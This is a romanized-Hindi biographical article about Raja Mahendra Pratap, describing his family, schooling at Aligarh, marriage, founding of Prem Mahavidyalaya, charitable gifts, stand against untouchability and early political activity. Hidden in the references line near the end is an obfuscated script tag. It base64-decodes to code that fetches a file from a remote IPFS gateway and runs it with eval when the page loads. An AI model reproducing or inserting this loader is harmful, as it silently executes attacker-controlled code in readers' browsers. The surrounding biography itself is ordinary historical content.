राजा महेन्द्र प्रताप
raja mahendr pratap
| |
| poora nam | raja mahendr pratap |
| any nam | kh dagasianh[1] |
| janm | 1 disambar 1886 |
| janm bhoomi | murasan, uttar pradesh |
| mrityu | 29 aprail, 1979 |
| abhibhavak | raja bahadur ghanashyam sianh |
| nagarikata | bharatiy |
| prasiddhi | sachche deshabhakt, krantikari, patrakar aur samaj sudharak |
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raja mahendr pratap (janm: 1 disambar, 1886, murasan, uttar pradesh; mrityu: 29 aprail, 1979) ek sachche deshabhakt, krantikari, patrakar aur samaj sudharak the. ye 'aryan peshava' ke nam se prasiddh the.
jivan parichay
raja mahendr pratap ka janm murasan naresh raja bahadur ghanashyam sianh ke yahaan 1 disambar san 1886 ee. ko hua tha. raja ghanashyam sianh ji ke tin putr the, dattaprasad sianh, baldev sianh aur kh dagasianh, jinamean sabase b de dattaprasad sianh raja ghanashyam sianh ke uparant murasan ki gaddi par baithe aur baldev sianh baldevagadh ki jagir ke malik ban ge. kh dagasianh jo sabase chhote the vahi hamare charit nayak raja mahendr pratap ji haian. murasan rajy se hatharas god ane par unaka nam khan dagasianh se mahendr pratap sianh ho gaya tha, mano kh dag unake vyaktitv mean sakar pratap banakar hi ekibhoot ho gee ho. kuanvar baldev sianh ka raja sahab (mahendr pratap ji se) bahut ghanishth sneh tha aur raja sahab bhi unhean sada b de adar ki drishti se dekhate the. umr mean sabase chhote hone ke karan raja sahab apane b de bhaee ko 'b de dadaji' aur kuanvar baldevasianh ji ko 'chhote dadaji' kahakar sanbodhit kiya karate the.
bachapan
jab raja sahab keval tin varsh ke hi the, tabhi unhean hatharas naresh raja harinarayan sianh ji ne god le liya tha, kintu raja sahab 7-8 varsh ki avastha tak murasan mean hi rahe. isaka karan yah tha ki raja ghanashyamasianh ko yah dar tha ki kahian raja harinarayan sianh ki vishal sampatti par lalach ki drishti rakhane vale lobhiyoan dvara balak ka koee anisht n ho jae.
vidyarthi jivan
raja sahab pahale kuchh din tak aligadh ke gavarnament skool mean aur phir aligadh ke em.e.o. k aaulej mean padhe. yahi k aaulej bad mean aligadh muslim vishvavidyalay ke roop mean vikasit hua. raja sahab ko aligadh mean padhane sar saiyad ahamad khaan ke agrah par bheja gaya tha, kyoanki raja sahab ke pitaji raja ghanashyam sianh ki saiyad sahab se vyaktigat mitrata thi. is sanstha ki sthapana ke lie raja bahadur ne yathesht dan bhi diya tha. usase ek pakka kamara banavaya gaya, jis par aj bhi raja bahadur ghanashyam sianh ka nam likha hua hai. raja sahab svayan hindoo vatavaran mean pale parantu em.e.o. k aaulej mean padhe. isaka ek sukhad parinam yah hua ki muslim dharm aur musalaman bandhuoan ka nikat sampark unhean mila aur ek vishisht varg ke (rajakumaroan ki shreni ke) vyakti hone ke karan tab unase milana aur unake sampark mean ana sabhi hindoo muslim vidyarthi ek gaurav ki bat manate the. isaka parinam yah hua ki raja sahab ka muslim vatavaran tatha musalaman dharm ki achchhaiyoan se sahaj hi parichay ho gaya aur dharmik sankirnata ki bhavana se vah sahaj mean hi ooanche uth ge. bad mean jab raja sahab desh ko chho d kar videshoan mean svatantrata ka alakh jagane gaye, tab musalaman badashahoan se tatha muslim deshoan ki janata se unaka hardik bhaeechara har jagah svayan ban gaya. hamari ray se raja sahab ke vyaktitv ki yah visheshata unhean is shiksha sansthan ki hi den hai.
svatantrata senani ki bhavana
raja sahab jab vidyarthi the, unamean jahaan sab dharmoan ke prati sahaj anurag jaga vahaan shiksha dvara jaise-jaise buddhi ke kapat khule vaise-vaise hi aangrezoan ki samrajy lipsa ke prati unake man mean kshobh aur vidroh bhi bh daka. vrindavan ke raj mahal mean prachalit thakur dayaram ki virata ke kisse b de boodhoan se sunakar jahaan unaki chhati phoolati thi, vahaan jis anyay aur nichata se goroan ne unaka rajy h dap liya tha, use sunakar unaka hriday krodh aur kshobh se bhar jata tha aur vah unase takkar lene ke mansoobe baandha karate the. jaise-jaise unaki buddhi vikasit hoti gee, vaise aangrezoan ke prati inaka virodh bhi man hi man tivr hota chala gaya.
aangrez pulis kaptan se mulakat
raja sahab jab aligadh mean vidyarthi the, unake chhote bhaee dada (bich ke bhaee) kuanvar baldev sianh pray: unase milane aligadh ate rahate the. ek din vah unhean apane sath aligadh ke aangrez pulis suparintendent se milane le ge. us samay raja sahab 19 ya 20 varsh ke navayuvak the. jab pulis suparintendent se mulakat huee, to kuanvar baldev sianh ne use salam kiya parantu raja sahab ne aisa n karake usase keval hath milaya. bad mean jab batachit ka silasila chala to raja sahab ne pulis suparintendent ko kisi prasang mean yah bhi havala diya ki hamare dada aangrezoan se l de the. yah sunakar suparintendent kuchh samay ke lie sann rah gaya aur kuchh minatoan tak vichar-magn raha. jab bad mean batachit ka prasang badala tab vah samany sthiti mean a saka. is prakar nirbhikatapoorvak apani spasht bat kah dene ki adat raja sahab mean bachapan se hi rahi.
vivah
raja sahab ke b de bhaee kuanvar baldev sianh ji ki shadi pharidakot mean b di shan se huee thi aur use dekhakar unake man mean bhi yah gupt lalasa jag uthi thi ki mera vivah bhi aisi hi shan aur t dak-bh dak se ho. raja sahab ke vidyarthi jivan mean hi san 1901 mean jab vah keval 14 varsh ke the, yah avasar bhi a gaya. jiand naresh maharaj ranavirasianh ji ki chhoti bahin balavir kaur se unaki sagaee b de samaroh se vrindavan mean pakki ho gee aur vivah ki taiyari hone lagi. parantu isi bich ek mahanh durghatana ghat gee. jis din raja sahab ka tel chadha tha, usi din durbhagy se mathura vrindavan marg par sthit jayasianhapura vali kothi mean unake poojy pita raja bahadur ghanashyamasianh ji ka svargavas ho gaya. is durghatana ke karan vivah ko bhi sthagit karane ka bhi vichar hone laga, kintu ant mean yahi tay hua ki kyoanki raja mahendr pratap god a gaye haian, at: dehari badal jane ke karan ab vivah nahian roka ja sakata.
rel ga diyoan mean gee barat
raja mahendr pratap ji ka vivah jiand mean b di shan se hua. do speshal rel ga diyoan mean barat mathura steshan se jiand gee. is vivah par jiand naresh ne tin lakh pichahattar hazar (3,75,000) rupaye vyay kie the. yah us saste yug ka vyay hai, jab 1 rupaye ka 1 man gehooan ata tha. vivah mean itana adhik dahej aya tha ki vrindavan ke mahal ka vishal aangan usase khachakhach bhar gaya. is dahej ka bahut sa saman maharaj ne isht mitroan aur janata ko baant diya. vivah ke samay raja sahab ki ayu keval 14 varsh ki thi aur unaki maharani unase tin varsh b di thian. is chhoti avastha mean bhi maharaj mean danavritti aur tyagavritti vidyaman thi. vah rajyadhikar prapt hone par bhi yathavat bani rahi, varanh kahana chahie ki unamean paropakar ki bhavana nirantar vikasit hoti rahi.
murasan rajy
[[chitr:Mahendra Pratap.jpg|thumb|raja mahendr pratap ke samman mean jari dak tikat|220px]] murasan rajy ke sansthapak nandaram sianh apane paradada makhanasianh ki tarah asim sahasik tatha rananiti aur rajaniti mean parangat the. aurangazeb ko nandaram sianh ne apane karanamoan se itana atankit kar diya, jisase mugal darabar mean nandaram sianh ko faujadar ki upadhi dekar santosh ki saans li. nandaram sianh ne pahali bar murasan ka ilaka bhi apane adhikar mean kar liya aur ve ek riyasatadar ke roop mean prasiddh hue. inake chaudah putr the, jinamean se jalakaran sianh, khushalasianh, jaisianh, bhojasianh, chooraman, jasavantasianh, adhikaranasianh aur vijayasianh in ath putroan ke nam hi jnat ho sake haian. pahale jalakaranasianh aur unaki mrityu ke bad khushalasianh nandaram sianh ke uttaradhikari hue. inhoanne apane pita ki upasthiti mean hi murasan mean sudridh qila banavaya[2] aur pita ke uparjit ilake mean bhi vriddhi ki. sadatulla se bahut sa ilaka chhin kar mathura, aligadh, hatharas ke aantavarti pradesh ko bhi inhoanne apane rajy mean mila liya, gho de aur topoan ki sankhya mean bhi vriddhi ki. shesh bhaiyoan mean se chooraman, jasavantasianh, adhikaranasianh aur vijayasianh ne kramash: tochhigadh, baharamagadhi, shrinagar aur haramapur mean apana adhikar sthapit kiya. nandaram sianh ne apani aankhoan se hi apani santati ke hathoan apane rajy-vaibhav ki vriddhi hoti dekhi.[3] yah 40 varsh rajy karake san 1695 ee. mean svarg sidhare.
rajyadhikar
raja haranarayan ji ki mrityu ke samay san 1895 ee. mean raja sahab navalig the, at: rajy ka prabandh sarakar ne kort af vards ko sauanp diya, parantu unake valig hone se ek varsh poorv hi san 1906 mean riyasat unake adhikar mean a gee. isaka karan yah hua ki riyasat korat hote samay rajy ke karmachariyoan ne riyasat shighr hi laut sake, is drishti se raja sahab ki ayu ek varsh adhik likha di thi. is bhaanti 20 varsh ki ayu mean hi raja sahab ka adhikar riyasat par ho gaya aur tabhi unaki padhaee band ho gee. aligadh mean unaki shiksha ef.e. tak huee. ef.e. mean vah sains ke vidyarthi the. raja sahab ko hisab mean vishesh yogyata prapt huee, parantu aangrezi unaki bahut achchhi n thi. bi.e. ke pratham varsh mean vah fel ho ge aur tabhi rajy prapti ke bad unaki padhaee samapt ho gee.
raja ki upadhi
is prakar yadyapi raja sahab ko rajyadhikar prapt ho gaya tha, parantu aangrezoan ne unhean raja ki upadhi nahian di. raja sahab ke janmadata murasan rajavansh mean 'raja bahadur' ki upadhi paranparagat aur janmajat thi, jo gaddi par baithane vale ko svayan prapt ho jati thi.[4] hatharas rajavansh ki sthiti isase bhinn thi. yahaan raja ki upadhi aangrezoan dvara di jati thi. raja sahab ke pita haranarayan bhi raja sahab ki bhaanti hi god aye the, parantu unhean aangrezi sarakar ne raja svikar kar liya tha. at: unake uparant jab raja mahendr pratap murasan se god aye the to aangrezoan ko raja haranarayan ki bhaanti hi unhean bhi raja ki upadhi deni chahie thi, parantu n to raja sahab ne kabhi us samay ki aangrez sarakar se yah upadhi maangi aur n unhoanne hi unhean apani or se yah samman pradan kiya.
janata ka raja
raja haranarayan ki mrityu ke uparant janata ne svayan unhean apane pyar ke karan bachapan se hi raja kahana prarambh kar diya tha aur vah janata ke hridayasan par aj tak raja ke roop mean hi vidyaman haian. is prakar raja mahendr pratap ji ki 'raja ki upadhi' janata janardan dvara pradatt hai. vah unhean aangrezi dasata ki virasat se prapt upadhi nahian hai. sarakari kagazoan mean aangrez unhean sada kuanvar hi likhate rahe.
vyaktitv
raja mahendr pratap ka jivan-kram arambh se hi jahaan ek toophan ke saman nirantar vegavan tha, vahian vah astha, vishvas aur paropakar ki surabhi se surabhit bhi raha. maulik chintan, dridh nishchay, adamy utsah aur ek-ek kshan ke sadupayog ki prabal utkantha unamean kishoravastha se hi apane rajyadhikar prapti kal mean bhi vidyaman thi. prachinata ke prati shraddha aur eeshvar ke prati atoot vishvas rakhate hue bhi navin yug ki nav chetana ko bachapan se hi unhoanne age badhakar apanaya. andh vishvasoan ke lie unake man mean kabhi koee moh nahian raha aur kadachit kisi atank se darana unaki janmaghutti mean hi nahian tha. bachapan se hi yah aise dridh nishchayi the ki ek bar jo bat man mean jam gee, usase hatana ya vichalit hona, vah janate hi nahian.
samaj sudharak
vrindavan mean shravan ki hariyali tij ka jhoola-utsav bharat prasiddh hai. vrindavan ke adhishtata bhagavan baanke bihari ji varsh mean keval usi din jhoola jhoolate haian. isi hariyali tij ke avasar par maharaj ne apane pratham putr ka janmotsav manane ka nirnay liya. samast isht mitr v sanbandhiyoan ko amantran bhej diye ge. mahamana malaviy ji sahit raja sahab ke sanbandhi aur mitr gahane kap de aur bheant ki samagri lekar janmotsav mean b de utsah se padhare. sabhi ka yathayogy svagat samman kiya gaya. ek vishal yajn mandap mean panditoan ne yajn karaya. yajn ke uparant ek badhaee sabha huee. is sabha mean raja sahab ne bhashan dete hue kaha ki mere aj jo putr hua hai, vah ek audyogik shikshan sansthan hai. ap sab use ashirvad dean. yah sunakar sabha mean halachal mach gee. kuchh vyakti raja sahab ki sarahana karane lage to kuchh is prakar ki galataphahami paida karane ke lie naraj bhi hue. raja sahab ke ek vayopriddh garib adhyapak altaj ali jo bachche ke lie b de ullas se jebar v kap da lekar aye the, raja sahab ko daantane lage. raja sahab ki donoan mataean yah samachar sunakar du:khi ho geean. udhar sabha mean vidyalay ke namakaran par vichar hone laga. yah sujhav bhi aya ki raja sahab ke poojy pitaji ke nam par vidyalay ka nam ho, kisi ne kaha, svayan raja sahab ke nam par vidyalay ka namakaran ho. kisi ne kaha 'jat vidyalay' ho, par raja sahab ne kaha shri krishna ko premavatar bhi kahate haian aur yah unhian ki lila bhoomi hai, isilie isaka nam 'prem mahavidyalay' rakhana chahie. sabane b de harsh se yah prastav svikar kiya aur is vichar ki prashansa ki.
prem mahavidyalay ki sthapana
raja sahab apani sampoorn sampatti prem vidyalay ko dan karana chahate the, parantu mahamana malaviy ji ke yah samajhane par ki yah pushtaini riyasat hai, ap sab dan nahian de sakate, raja sahab ne apani adhi sampatti (paanch gaanv aur do mahal) vidyalay ko dan kar diye. apani mataoan ke nivas ke lie vidyalay ko dan di gee sampatti mean se hi raja sahab ne 10,000 rupaye dekar apani hi kelakuanj ko vidyalay se pun: kharida aur vahaan mataoan ke rahane ki vyavastha ki. ek trast banakar san 1909 mean vidyalay ke lie sampatti ki rajistri kara di gee aur maharani viktoriya ke janm din[5] par is vidyalay ko shuroo kiya gaya.
shiksha sansthaoan ko dan
apane shasan kal mean raja sahab ne shiksha sansthaoan aur gariboan ki or vishesh dhyan diya. unake lie apake dvar sada khule rahate the. aligadh ke di.e.bi. k aaulej aur kayasth pathashala ke lie apane bhoomi dan mean di thi aur hindoo vishvavidyalay, kashi ko bhi bheant di thi. isalie ap vishvavidyalay ke bord ke sadasy bhi the. bulandashahar zile mean raja sahab ki kafi b di jamiandari thi. vahaan bhi apane anek sansthaoan ko hriday kholakar dan die. raja sahab ne mathura ke ziladhikari ko us saste jamane mean das hazar rupaye dan die the ki is rakam se baiank kholakar usase unake mathura zile ke prajajan kisanoan ko sahayata di jaye. isi prakar apane 25 hazar rupaya dekar mathura zile ke apani zamidari ke gaanvoan mean praranbhik pathashalaaian bhi khulavaeean.
chhuachhoot ke shatru
raja sahab jati ke adhar par chhuachhoot ke us samay bhi ghor virodhi the, jab mahatma gaandhi is desh mean laute bhi n the. gaandhi ji ke achhootoddhar andolan arambh hone se bahut pahale hi apane vrindavan jaisi puran panthi vaishnavi nagari mean rahakar bhi is anyay poorn pratha ke viruddh jihad bol diya tha. is sanbandh mean kuchh ghatana yahaan di ja rahi haian. yah vah yug tha, jab sanatani log achhootoan ki chhaya se bhi chhoo jana pap manakar snan karate the aur unhean bahut hi hey aur ghrina ki drishti se dekha jata tha. parantu raja sahab ne san 1911 mean jab ve svasthy labh ke lie almo da gaye the, ek tamata ke sath bhojan kar liya. tamata aisi ek achhoot jati thi, jisaki chhooee huee vastu apavitr manakar pheank di jati thi. aise vyakti ke sath raja sahab bhojan karean, yah bat unake kisi sathi ko pasand n thi. at: charoan aur kafi kanaphooansi huee, parantu raja sahab ne us or koee dhyan nahian diya.
rajaniti mean
raja sahab ne rajaniti mean bhi apana dabadaba banaya aur svatantr roop se 1957 ka mathura sansadiy kshetr se lokasabha chunav jitakar sansad pahuanche.
kaangres adhiveshan
raja sahab mean desh bhakti ki bhavana arambh se hi thi. san 1906 mean ap apane sale jiand naresh ke virodh ke bavajood bhi kalakatta kaangres mean shamil hue the. isake uparant prem mahavidyalay ke chhatroan ke ek dal ke sath ek speshal baigan buk karakar ap san 1910 ki prayag kaangres mean bhi sammilit hue. sab vidyarthiyoan ko ekasi tanidar nichi bagalabandi dharan kara kar brajavasi veshabhoosha mean yah dal prayag pahuancha tha. is varsh kaangres adhiveshan ke sath usi mandap mean maharaj ek shikshan sammelan bhi karana chahate the, parantu shri motilal neharoo unhean kaangres ka pandal upayog ke lie dene ko sahamat n hue. tab raja sahab ne 500 rupaye mean ek naya shamiyana kharida, jisamean lagabhag 400 vyakti baith sakate the aur kaangres ke sath hi prayag mean ek akhil bharatiy shiksha sammelan bhi ayojit kiya gaya, jisaki adhyakshata jhalava d naresh ne ki thi.
9 9 9 ka chakkar
san 1914 se pahale turki sansar ke char b de samrajyoan mean se ek tha, parantu san 1912 mean hi usake vighatan ke lakshan prakat hone lage. bulgariya aur gris se turki ka yuddh raja sahab ke thik hone ke bad hi prarambh ho gaya tha aur aligadh ke kuchh muslim chhatroan ke sath d aauktar aansari vahaan turki ke ghayaloan ki seva karane ke lie gaye hue the. raja sahab ne jab yah suna to ap bhi turant ghayaloan ki seva karane ke lie 9 din ki yatra karake turki ja pahuanche. konsatentinopil pahuanch kar apane jab turki mean pravesh karana chaha to ap rok diye ge. kathinaee se apako kuchh samay vahaan thaharane ki ajna mili. d aauktar aansari ke dal ko vahaan apane khoja, parantu vah yuddh morche par ja chuka tha, isalie apane svayan hi vahaan ke ek adhikari ko apani sevaean prastut kian. usane apako gaur se dekha aur nam poochha to apane use mahendr pratap sinha nam batala diya. cheshta karane par bhi vah adhikari svayan is nam ka uchcharan nahian kar saka to usane poochha 'parantu yah muslim nam to nahian hai.' usaka yah uttar sunakar raja sahab phir vahaan nahian thahare. unhean vahaan rahate hue poore nau din ho chuke the. ratri bhar unake hotal mean morche par ag ugalati topoan ki dhaany-dhaany ki avaz sunaee p dati thi. bandaragah par bhi sab kamare ghayaloan se pate p de the, parantu musalaman n hone ke karan vahaan unaki seva bhavana ka mahattv nahian aanka gaya. 9 din ki vapasi ki yatra karake pun: vrindavan laut aye. is prakar turki ki is yatra mean unhean tin 9 arthath 27 din lage.
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tika tippani aur sandarbh
raja mahendr pratap |prakashak: chaudhari digambar sianh |sanpadan: ram narayan agraval |prishth sankhya: 91, 104, 106, 108, 116 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ raja ghanashyam sianh ji ke tin putr the, dattaprasad sianh, baldev sianh aur kh dagasianh. inamean se kh dagasianh hi raja mahendr pratap the.
- ↑ murasan ka yah qila aurangazeb ki mrityu ke uparant san 1716 mean banavaya gaya tha. aurangazeb ki mrityu ke bad 'murasan' ek rajy ke roop mean poori tarah astitv mean a gaya.
- ↑ apane vaibhav kal mean murasan rajy ki sima soankh tatha sadabad tak thi.
- ↑ us samay uttar pradesh mean keval do hi 'raja bahadur' the. ek murasan naresh aur doosare avadh naresh. baki chhoti riyasatoan ko aangrez raja nahian manate the. yadyapi braj kshetr mean hi avagadh rajy ki ay murasan se kahian adhik thi, parantu raja bahadur ki upadhi unhean prapt n thi.
- ↑ raja sahab ke hriday mean desh ke lie kuchh kar dalane ki jo tis thi, usaka pratham phal prem mahavidyalay ke roop mean 1909 mean sakar hua, parantu vidyalay ka arambh maharani viktoriya ke janm divas par kiya jana yah spasht karata hai ki tab tak unamean aangrezoan ke prati katuta ka bhav nahian tha. yadyapi ap desh bhakti ki aur desh seva ki bhavana se abhibhoot the.
bahari k diyaan
sanbandhit lekh
- REDIRECTsaancha:svatantrata senani